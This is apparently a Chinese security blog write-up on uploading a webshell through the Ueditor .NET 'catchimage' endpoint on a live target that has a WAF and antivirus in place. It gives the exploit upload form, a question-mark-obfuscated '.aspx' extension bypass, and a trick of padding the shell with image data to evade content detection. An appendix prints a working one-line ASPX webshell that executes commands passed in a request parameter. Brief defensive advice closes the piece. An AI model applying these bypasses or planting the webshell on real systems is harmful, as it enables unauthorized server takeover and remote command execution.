记一次Ueditor上传Bypss
字数 940 2025-08-22 18:37:22
Ueditor上传漏洞Bypass实战教学
漏洞背景
Ueditor是一款常用的富文本编辑器组件,在多个Web系统中被集成使用。该组件在上传功能中存在安全漏洞,攻击者可以利用该漏洞实现文件上传并获取Webshell权限。
环境发现
- 识别特征:通过fscan扫描发现目标系统存在Ueditor组件
- 初步确认:访问
http://xx.xx.xx.xx/Scripts/Ueditor/net/controller.ashx验证组件存在 - 防护检测:目标系统存在WAF和杀毒软件,直接上传会被拦截
漏洞利用步骤
1. 基础利用尝试
使用公开POC构造上传表单:
<form action="http://xxx.xx.xx.xx/Scripts/Ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
2. 后缀名绕过
发现直接使用.aspx后缀会被拦截,采用以下方法绕过:
- 使用非常规后缀格式:
xxx.gif?.a?s?p?x - 通过插入问号干扰WAF对后缀名的检测
3. 内容检测绕过
虽然后缀名绕过成功,但上传包含Webshell内容的文件仍被拦截:
- 尝试多种免杀Webshell均失败
- 发现使用简短Webshell可以上传成功但流量被检测
解决方案:
- 使用天蝎Webshell(一种特殊构造的免杀Webshell)
- 添加脏数据绕过:
- 在Webshell前后添加多行图片内容数据
- 需要前后同时添加大量干扰数据,仅单侧添加无效
4. 最终成功
通过组合以下方法成功Bypass所有防护:
- 非常规后缀名
xxx.gif?.a?s?p?x - 天蝎Webshell
- 前后添加大量图片数据作为干扰
关键知识点总结
-
WAF绕过技巧:
- 非常规后缀名构造(插入特殊字符)
- 请求参数混淆
-
内容检测绕过:
- 使用简短、特征不明显的Webshell
- 添加大量无关数据干扰检测
- 前后同时添加干扰数据效果最佳
-
工具选择:
- 使用fscan进行资产识别
- 天蝎Webshell用于免杀
- 蚁剑生成简短Webshell
防御建议
- 对Ueditor组件进行升级或替换
- 加强文件上传检测:
- 严格限制上传文件类型
- 检查文件内容而不仅是扩展名
- 部署多层级防护:
- WAF规则更新
- 文件内容动态检测
- 监控异常上传行为
附录:典型Webshell示例
简短Webshell(可能绕过部分检测):
<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start(Request["cmd"]).StandardOutput.ReadToEnd()); %>
天蝎Webshell(特征较少,需配合干扰数据使用):
<%
// 天蝎Webshell核心代码
// 此处省略具体实现,实际使用时需配合大量图片数据
%>